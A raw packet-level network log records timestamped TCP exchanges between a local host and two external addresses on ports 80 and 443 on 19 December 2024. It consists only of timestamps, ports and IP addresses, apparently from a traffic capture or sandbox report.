Dec 19, 2024 16:10:32.544156075 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.544217110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.544315100 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.544356108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.545182943 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.545233011 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.545298100 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.545336962 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.546468019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.546485901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.546526909 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.546552896 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.547261000 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.547403097 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.547458887 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.548132896 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.548191071 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.548191071 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.548228025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.549093008 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.549143076 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.549235106 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.549451113 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.550050020 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.550097942 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.550136089 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.550174952 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.551059008 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.551105022 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.551237106 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.551337004 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.552182913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.552198887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.552237988 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.552254915 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.552974939 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.553040028 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.553113937 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.553255081 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.554380894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.554398060 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.554438114 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.554455996 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.554987907 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.555114985 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.555377960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.555422068 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.555967093 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.556016922 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.556072950 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.556402922 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.556927919 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.556997061 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.557101965 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.557172060 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.558074951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.558093071 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.558120012 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.558135986 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.558958054 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.558973074 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.559016943 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.667269945 CET	443	49903	149.154.167.99	192.168.2.6
Dec 19, 2024 16:10:32.667367935 CET	49903	443	192.168.2.6	149.154.167.99
Dec 19, 2024 16:10:32.695331097 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.695516109 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.695542097 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.695681095 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.695725918 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.695790052 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.695898056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.697043896 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.697057009 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.697105885 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.697762966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.697818995 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.703336000 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.703392982 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.703444958 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.703495026 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.703798056 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.703840971 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.704202890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.704216003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.704265118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.704292059 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.705169916 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.705218077 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.705769062 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.705815077 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.706351995 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.706376076 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.706422091 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.707230091 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.707246065 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.707276106 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.707344055 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.707904100 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.707957029 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.707967043 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.708039045 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.708867073 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.708925009 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.709342003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.709384918 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.710041046 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.710052967 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.710098028 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.710851908 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.710930109 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.710944891 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.711343050 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.712014914 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.712033033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.712090969 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.712120056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.712476969 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.712524891 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.712871075 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.712929010 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.713484049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.713530064 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.713573933 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.713840961 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.714345932 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.714390993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.714423895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.714468002 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.715526104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.715567112 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.715672016 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.715739012 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.716437101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.716531992 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.716618061 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.716965914 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.717449903 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.717511892 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.717585087 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.717623949 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.718324900 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.718364954 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.718579054 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.718616009 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.719290018 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.719357967 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.719428062 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.719645023 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.720200062 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.720252037 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.720302105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.720391989 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.721237898 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.721285105 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.721353054 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.721399069 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.722925901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.722939968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.723002911 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.723042011 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.723231077 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.723301888 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.723611116 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.723654032 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.724215984 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.724253893 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.724323034 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.724370003 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.725220919 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.725275993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.725781918 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.725794077 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.725836039 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.726543903 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.726593971 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.726686001 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.726732016 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.727658987 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.727672100 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.727715015 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.727727890 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.728451967 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.728512049 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.728655100 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.728697062 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.729497910 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.729549885 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.729605913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.729646921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.730496883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.730541945 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.730576992 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.730614901 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.731353998 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.731396914 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.731571913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.731611967 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.732336998 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.732383013 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.732465982 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.732506990 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.733372927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.733419895 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.733448029 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.733496904 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.734401941 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.734455109 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.734653950 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.734697104 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.735332012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.735380888 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.735414982 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.735490084 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.736330986 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.736370087 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.736927986 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.736980915 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.737235069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.737335920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.737384081 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.738214016 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.738290071 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.738323927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.738362074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.739293098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.739346027 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.739439011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.739490986 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.740180016 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.740241051 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.740298986 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.740340948 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.741236925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.741282940 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.741319895 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.741319895 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.742261887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.742275000 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.742322922 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.743177891 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.743235111 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.743237019 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.743400097 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.744124889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.744282007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.744333029 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.745043039 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.745362043 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.745440006 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.746155977 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.746167898 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.746205091 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.746222019 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.747134924 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.747178078 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.747227907 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.748064041 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.748111010 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.748378038 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.748539925 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.749051094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.749098063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.749322891 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.749366045 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.750044107 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.750128984 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.750152111 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.750248909 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.751075029 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.751085043 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.751133919 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.799949884 CET	49903	443	192.168.2.6	149.154.167.99
Dec 19, 2024 16:10:32.799981117 CET	443	49903	149.154.167.99	192.168.2.6
Dec 19, 2024 16:10:32.800324917 CET	443	49903	149.154.167.99	192.168.2.6
Dec 19, 2024 16:10:32.800458908 CET	49903	443	192.168.2.6	149.154.167.99
Dec 19, 2024 16:10:32.803332090 CET	49903	443	192.168.2.6	149.154.167.99
Dec 19, 2024 16:10:32.851337910 CET	443	49903	149.154.167.99	192.168.2.6
Dec 19, 2024 16:10:32.887376070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.887453079 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.887538910 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.887599945 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.888041019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.888053894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.888093948 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.888106108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.888794899 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.888916969 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.888972998 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.889257908 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.889818907 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.889868021 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.895617008 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.895682096 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.895951986 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.896008968 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.896086931 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.896099091 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.896126032 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.896152973 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.896976948 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.897020102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.897025108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.897068024 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.898279905 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.898291111 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.898351908 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.899071932 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.899110079 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.899363041 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.899405003 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.899480104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.899554968 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.900418997 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.900495052 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.901302099 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.901341915 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.902357101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.902369976 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.902447939 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.903424025 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.903435946 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.903448105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.903493881 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.903548002 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.903587103 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.904323101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.904334068 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.904371977 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.904383898 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.905304909 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.905317068 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.905354977 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.905761957 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.905819893 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.905884027 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.905955076 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.906810045 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.906821012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.906855106 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.906866074 CET	49881	80	192.168.2.6	31.41.244.11
